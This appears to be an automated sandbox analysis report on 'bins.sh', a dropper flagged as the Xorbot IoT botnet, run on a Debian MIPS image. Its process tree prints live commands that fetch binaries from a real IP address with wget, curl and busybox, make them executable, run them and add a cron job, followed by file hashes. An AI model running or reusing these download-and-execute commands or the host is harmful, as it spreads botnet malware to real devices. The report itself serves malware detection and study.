Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/11/2024, 01:40

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    54298eb7fa7e229d5f14bd984a061988

  • SHA1

    4bef8f4344ac56b0a3e9ced6b7e219ec17d3e180

  • SHA256

    b6f1813eb89b53822bc7f914ab0ec6b3cf4434292e98c8cc3422b4c6f2b60f8d

  • SHA512

    c74e2aedf14c550d45d98dd011e4e083a341e0d505d50f48e260b04dcc0c4bd715989ed0e9d140f5c9a3659707368236b4d09c41e3743e781806db802c2e298d

  • SSDEEP

    96:/JZhtD+DcDkDmDvDrDZoCOfLlIUzF7UeQx8v+DcDkDmDvDrDwKHiffLlIUzxzEv0:xZhtD+ooS7/Foh5AmmooS7/qyu

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1423) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • Writes file to tmp directory
          PID:754
        • /bin/chmod
          chmod 777 1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • File and Directory Permissions Modification
          PID:782
        • /tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          ./1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • Executes dropped EXE
          PID:783
        • /bin/rm
          rm 1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
            PID:785
          • /usr/bin/wget
            wget http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
            2⤵
            • Writes file to tmp directory
            PID:786
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
            2⤵
            • Writes file to tmp directory
            PID:798
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
            2⤵
            • Writes file to tmp directory
            PID:816
          • /bin/chmod
            chmod 777 jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
            2⤵
            • File and Directory Permissions Modification
            PID:819
          • /tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
            ./jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
            2⤵
            • Executes dropped EXE
            PID:820
          • /bin/rm
            rm jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
            2⤵
              PID:822
            • /usr/bin/wget
              wget http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
              2⤵
              • Writes file to tmp directory
              PID:823
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:824
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
              2⤵
              • Writes file to tmp directory
              PID:825
            • /bin/chmod
              chmod 777 seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
              2⤵
              • File and Directory Permissions Modification
              PID:826
            • /tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
              ./seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
              2⤵
              • Executes dropped EXE
              PID:827
            • /bin/rm
              rm seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
              2⤵
                PID:829
              • /usr/bin/wget
                wget http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                2⤵
                • Writes file to tmp directory
                PID:830
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                2⤵
                • Writes file to tmp directory
                PID:834
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                2⤵
                • Writes file to tmp directory
                PID:835
              • /bin/chmod
                chmod 777 MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                2⤵
                • File and Directory Permissions Modification
                PID:836
              • /tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                ./MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                2⤵
                • Executes dropped EXE
                PID:837
              • /bin/rm
                rm MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                2⤵
                  PID:839
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                  2⤵
                  • Writes file to tmp directory
                  PID:840
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                  2⤵
                  • Writes file to tmp directory
                  PID:841
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                  2⤵
                  • Writes file to tmp directory
                  PID:842
                • /bin/chmod
                  chmod 777 fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                  2⤵
                  • File and Directory Permissions Modification
                  PID:843
                • /tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                  ./fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                  2⤵
                  • Executes dropped EXE
                  PID:844
                • /bin/rm
                  rm fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                  2⤵
                    PID:846
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                    2⤵
                    • Writes file to tmp directory
                    PID:847
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                    2⤵
                    • Writes file to tmp directory
                    PID:848
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                    2⤵
                    • Writes file to tmp directory
                    PID:849
                  • /bin/chmod
                    chmod 777 XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                    2⤵
                    • File and Directory Permissions Modification
                    PID:850
                  • /tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                    ./XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:851
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:853
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:854
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:855
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:856
                        • /bin/rm
                          rm XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                          2⤵
                            PID:858
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
                            2⤵
                              PID:861

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1

                            Filesize

                            119KB

                            MD5

                            1b166b95f9cb4b079ef1b9ec8363ddf3

                            SHA1

                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                            SHA256

                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                            SHA512

                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                          • /tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /var/spool/cron/crontabs/tmp.NHOE1N

                            Filesize

                            210B

                            MD5

                            a6d482ce5ccd4fdf1497f2bc35ecf941

                            SHA1

                            35be744f7b490283030673e5ef7550c934868e72

                            SHA256

                            a0d69d22d10bff79e07d4fe85e2f83864c34c95323cee63a6288bb9ac9ca26f0

                            SHA512

                            f61b90c0a16bc52290035bae580cc781b4c05b2a3a9b9204580d2bf4a46ef3f77b8513d75a7e3965280ca30da6833bddc6a613d7dfb2076b0da0c7e4040358bf